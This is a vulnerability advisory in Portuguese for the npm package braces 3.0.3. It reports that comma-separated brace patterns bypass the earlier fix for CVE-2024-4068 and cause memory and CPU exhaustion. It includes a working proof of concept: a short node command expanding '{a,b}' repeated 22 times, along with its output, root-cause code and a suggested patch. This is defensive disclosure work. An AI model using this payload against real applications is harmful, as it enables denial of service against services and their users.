CVE-Candidate: Negação de Serviço em braces via Expansão de Chaves Separadas por Vírgulas

Pacote: braces (npm) Versão: 3.0.3 (última) Severidade: ALTA (CVSS 7.5) CWE: CWE-400 Consumo Não Controlado de Recursos Status: Não reportado

Nota: Esta é uma descoberta independente. A CVE-2024-4068 tratou da limitação do comprimento da entrada (MAX_LENGTH=10000), mas não corrigiu a explosão combinatória da saída em padrões de chaves separados por vírgulas. A CVE-2026-45149 afeta um pacote diferente (juliangruber/brace-expansion), não micromatch/braces.

Vulnerabilidade

A biblioteca braces é vulnerável a negação de serviço por consumo não controlado de recursos ao processar padrões de expansão de chaves separados por vírgulas.

Uma entrada maliciosa com apenas 110 caracteres faz a biblioteca materializar 4,2 milhões de itens na memória, consumindo mais de 1,2GB de RAM e bloqueando a CPU por 9 a 30 segundos (varia conforme o hardware).

Esta é uma correção incompleta para a CVE-2024-4068. O patch original limitava o comprimento da entrada a 10.000 caracteres, mas não limitava a saída combinatória das expansões separadas por vírgulas.

Impacto

braces é uma dependência de micromatch, que é usado por:

• webpack (empacotador)
• vitest (executor de testes)
• jest (executor de testes)
• eslint (linter)
• chokidar (observador de arquivos)
• Centenas de outras ferramentas

Qualquer aplicação que passe entrada controlada pelo usuário para braces.expand() está vulnerável.

Causa Raiz

Em lib/expand.js, a proteção rangeLimit verifica apenas intervalos numéricos ({1..1000}), não padrões separados por vírgulas ({a,b}):

// lib/expand.js:57
if (node.ranges > 0) {  // only numeric ranges are checked
  if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
    throw new RangeError('...');
  }
}
// Comma-separated expansions skip this check entirely

A função append() constrói recursivamente todas as combinações 2^N em um array sem limite de saída.

Prova de Conceito

Teste Rápido

mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"

Script PoC Completo

# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py

Resultados dos Testes

As contagens de itens são determinísticas. O tempo e a memória variam conforme o hardware.

Evidência da Vulnerabilidade (Saída do PoC)

======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================

[*] Finding DoS threshold...

  n=10: input=   50 chars ->      1,024 items,      4,096 chars,     11ms, +912KB
  n=15: input=   75 chars ->     32,768 items,    163,840 chars,     96ms, +15915KB
  n=18: input=   90 chars ->    262,144 items,  1,310,720 chars,    737ms, +115535KB
  n=20: input=  100 chars ->  1,048,576 items,  5,242,880 chars,   1833ms, +242558KB
  n=22: input=  110 chars ->  4,194,304 items, 20,971,520 chars,   9723ms, +1196410KB
  n=25: TIMEOUT/OOM

[*] Conclusion:
  - Input size: 110 characters (well within the 10,000 character limit)
  - Memory consumption: >1.2GB
  - CPU block time: ~10 seconds

Caminho de Código Afetado

braces.expand(input)
  -> lib/expand.js:walk()
    -> lib/expand.js:append()  <- no output limit
      -> recursively builds all 2^N combinations
        -> returns massive array

Correção Recomendada

Adicione uma verificação de limite em cada etapa de concatenação em lib/expand.js para evitar explosão combinatória. Envolva as chamadas a append dentro de walk() com um auxiliar de validação:

const queueLimit = (queue, stash, enclose) => {
  if (rangeLimit === Infinity) return append(queue, stash, enclose);
  const queueLength = queue ? [].concat(queue).length : 0;
  const stashLength = [].concat(stash).length;
  const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
  if (nextLength > rangeLimit) {
    throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
  }
  return append(queue, stash, enclose);
};

Substituir chamadas a append() dentro de walk() por queueLimit() garante que combinações de chaves e intervalos consecutivos sejam limitados com segurança.

Cronograma de Divulgação

Arquivos

Crédito

Descoberto por cyeezy08.